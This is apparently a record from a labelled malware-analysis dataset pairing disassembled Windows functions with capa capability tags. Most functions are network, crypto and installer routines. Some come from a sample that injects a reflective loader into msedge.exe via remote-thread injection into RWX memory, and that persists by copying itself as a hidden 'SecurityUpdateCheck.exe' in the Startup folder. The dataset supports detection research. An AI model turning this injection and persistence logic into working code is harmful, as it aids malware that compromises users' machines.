joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400acc60
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400ace08
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400accc5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400accc5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400accc5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400accfc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400acd52
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400acd52
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400acd52
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400acd52
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400acd52
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400ac710
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400acdb4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140088e90
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400acae0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400ace00
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140088e90
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400ae570
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14010b080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400ae605
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400ae666
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140088e90
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400c1680
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400ae721
sub ecx, 1
je 0x1400ae794
sub ecx, 1
je 0x1400ae6d0
cmp ecx, 1
je 0x1400ae6b3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400d5bbc]
call fcn.140088e90
jmp 0x1400ae794
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400ae2a0
test eax, eax
je 0x1400ae794
jmp 0x1400ae63a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400ae794
sub rax, rsi
cmp rax, rbp
jae 0x1400ae794
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140089010
jmp 0x1400ae794
cmp r8d, 4
jle 0x1400ae794
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400ae794
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140088db0
mov esi, eax
test eax, eax
je 0x1400ae773
mov edx, 5
mov rcx, rbx
call fcn.1400af260
mov eax, esi
jmp 0x1400ae63a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140097690
mov rcx, r14
call fcn.140097970
test eax, eax
je 0x1400ae638
mov edx, 5
mov rcx, rbx
call fcn.1400af260
mov eax, Ordinal_46
jmp 0x1400ae63a
Function at 0x1400c1530
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400c1572
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400c15b9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400c1612
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400c15d0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400c1653
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400d53fb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400d53fc]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400c1620
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400c261c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c2666
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c2666
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c2666
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c2666
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c2666
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c2668
xor al, al
add rsp, 0x28
ret
Function at 0x1400c28a8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c292c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400c292c
dec r8
sub rdx, 1
jne 0x1400c2912
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001120
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x30], 0x6463627a
lea rax, [rsp + 0x58]
lea rcx, [0x140003348]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1d
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0
jmp 0x14000116e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jge 0x1400011ac
movsxd rax, dword [rsp + 0x20]
movsx eax, byte [rsp + rax + 0x58]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x30]
mov ecx, dword [rsp + 0x24]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x38], al
jmp 0x140001164
lea r8, [rsp + 0x38]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400011e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400011e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x1400016b0
Capabilities:
Compare security identifiers
Enumerate processes

Disassembly:
sub rsp, 0x2a8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400016fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot_failed_with_error__lu_n
call fcn.140001260
xor eax, eax
jmp 0x14000184d
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001740
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Process32First_failed_with_error__lu_n
call fcn.140001260
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000184d
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call fcn.140001500
mov dword [rsp + 0x20], 0
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140001814
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call fcn.140001500
test eax, eax
je 0x140001809
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x1400017fe
lea rax, [rsp + 0x7c]
lea rcx, str.msedge.exe
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x1400017ed
add rax, 2
test dx, dx
jne 0x1400017d7
xor eax, eax
jmp 0x1400017f2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400017fe
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
jne 0x140001833
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001772
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x2a8
ret
Function at 0x140001a60
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x88]
call fcn.1400018f0
cmp qword [rsp + 0x58], 0
jne 0x140001ac9
lea rcx, str.get_reflectivce_loader_offset_failed_n
call fcn.140001260
xor eax, eax
jmp 0x140001bd2
mov r8d, dword [rsp + 0x80]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001b06
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess_failed___lu
call fcn.140001260
xor eax, eax
jmp 0x140001bd2
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rsp + 0x90]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001b73
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_failed___lu
call fcn.140001260
xor eax, eax
jmp 0x140001bd2
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r8, qword [rsp + 0x50]
mov edx, dword [rsp + 0x60]
lea rcx, str.remote_thread_id:__lu__loader_address:__p
call fcn.140001260
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x78
ret
Function at 0x140001c80
Capabilities:
Copy file
Get session user name
Set file attributes

Disassembly:
sub rsp, 0x278
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r8d, 0x104
lea rdx, [rsp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140001cc4
jmp 0x140001d56
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x140001cdc
jmp 0x140001d56
mov eax, dword [rsp + 0x20]
add eax, 0x64
add eax, dword [rsp + 0x30]
mov eax, eax
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x30]
lea eax, [rax + rcx + 0x64]
mov eax, eax
lea r9, [rsp + 0x40]
lea r8, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupSecurityUpdateCheck.exe
mov edx, eax
mov rcx, qword [rsp + 0x28]
call fcn.140001350
xor r8d, r8d
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140001d46
jmp 0x140001d56
mov edx, 0x26
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x278
ret

Function at 0x140002654
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000269e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000269e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000269e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000269e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000269e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400026a0
xor al, al
add rsp, 0x28
ret
Function at 0x140003520
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x170
mov rax, qword [0x1400a7010]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
cmp qword [rcx + 0x18], 8
jb 0x140003552
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000376e
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x60]
call fcn.140054260
lea rcx, [rsp + 0x60]
call fcn.1400052c0
nop
lea rcx, [rsp + 0x28]
call fcn.140011e10
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140003597
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000cbb0
lea rdx, [0x140094ea4]
mov rcx, rax
call fcn.140008ef0
lea rdx, str.installer_lib::Filesystem::is_directory
mov rcx, rax
call fcn.140008ef0
lea rdx, [0x140094e78]
mov rcx, rax
call fcn.140009270
lea rdx, str.Failed_to_determine_if
mov rcx, rax
call fcn.140009270
mov rdx, rbx
mov rcx, rax
call fcn.140009510
lea rdx, str._is_a_directory_with_error
mov rcx, rax
call fcn.140009270
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140005480
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x140003651
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000364b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000379a
call fcn.14002a5e4
nop
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], di
mov dword [rsp + 0x20], 2
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov rcx, qword [rsp + 0xe8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1400036bd
mov rax, qword [rsp + 0xb8]
mov r8, qword [rax]
test r8, r8
je 0x1400036bd
mov rax, qword [rsp + 0x98]
mov rdx, qword [rax]
cmp r8, qword [rsp + 0xe0]
cmovb r8, qword [rsp + 0xe0]
sub r8, rdx
sar r8, 1
jmp 0x140003700
test cl, 4
jne 0x1400036f6
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400036f6
mov rax, qword [rsp + 0x90]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xc8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
sar r8, 1
jmp 0x140003700
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140003710
lea rcx, [rsp + 0x28]
call fcn.140007310
nop
mov edx, 0x28
lea rcx, [rsp + 0x28]
call fcn.1400122f0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x14000375f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037a0
call fcn.14002a5e4
nop
lea rcx, [rsp + 0x60]
call fcn.1400037b0
nop
xor al, al
jmp 0x140003779
and eax, 0x410
cmp eax, 0x10
sete al
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14002a0d0
mov rbx, qword [rsp + 0x188]
add rsp, 0x170
pop rdi
ret
call fcn.14005d720
int3
call fcn.14005d720
int3
Function at 0x140011d80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140011df8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140011df8
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140011de5
nop
cmp rbx, rcx
jae 0x140011df8
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140011dd0
cmp rbx, rcx
jae 0x140011df8
cmp word [rbx], 0
je 0x140011df8
lfence
mov rax, rbx
jmp 0x140011dfa
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140023000
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xd0
mov rax, qword [0x1400a7010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov r15, r8
mov rdi, rdx
mov rbp, rcx
mov qword [rsp + 0xb8], rcx
xor ebx, ebx
mov dword [rsp + 0xb8], ebx
mov rcx, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x14002304c
mov rcx, qword [rdx]
lea rdx, [rsp + 0xb8]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov r14d, eax
test eax, eax
je 0x14002318f
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
cmp r14, 0x1000
jb 0x1400230b1
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x1400231c0
lfence
call fcn.14002a358
mov rcx, rax
test rax, rax
je 0x140023189
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400230bc
lfence
mov rcx, r14
call fcn.14002a358
mov qword [rsp + 0xa0], rax
lea rbx, [rax + r14]
mov qword [rsp + 0xb0], rbx
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140054260
mov qword [rsp + 0xa8], rbx
cmp qword [rdi + 0x18], 0x10
jb 0x1400230ef
mov rdi, qword [rdi]
mov r9, qword [rsp + 0xa0]
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x1400231c6
mov r8, r15
mov rdx, qword [rsp + 0xa0]
mov rcx, rbp
call fcn.140022af0
nop
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14002315f
mov rdx, qword [rsp + 0xb0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002315a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023189
call fcn.14002a5e4
mov rax, rbp
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14002a0d0
mov rbx, qword [rsp + 0x118]
add rsp, 0xd0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14005d720
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.1400227f0
nop
mov r8, rax
lea rdx, str.Failed_to_get_Version_resource_size:
lea rcx, [rsp + 0x40]
call fcn.1400241e0
nop
mov rcx, rax
call fcn.140022ac0
nop
call fcn.1400013a0
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.1400227f0
nop
mov r8, rax
lea rdx, str.Failed_to_get_Version_resource_content:
lea rcx, [rsp + 0x80]
call fcn.1400241e0
nop
mov rcx, rax
call fcn.140022ac0
int3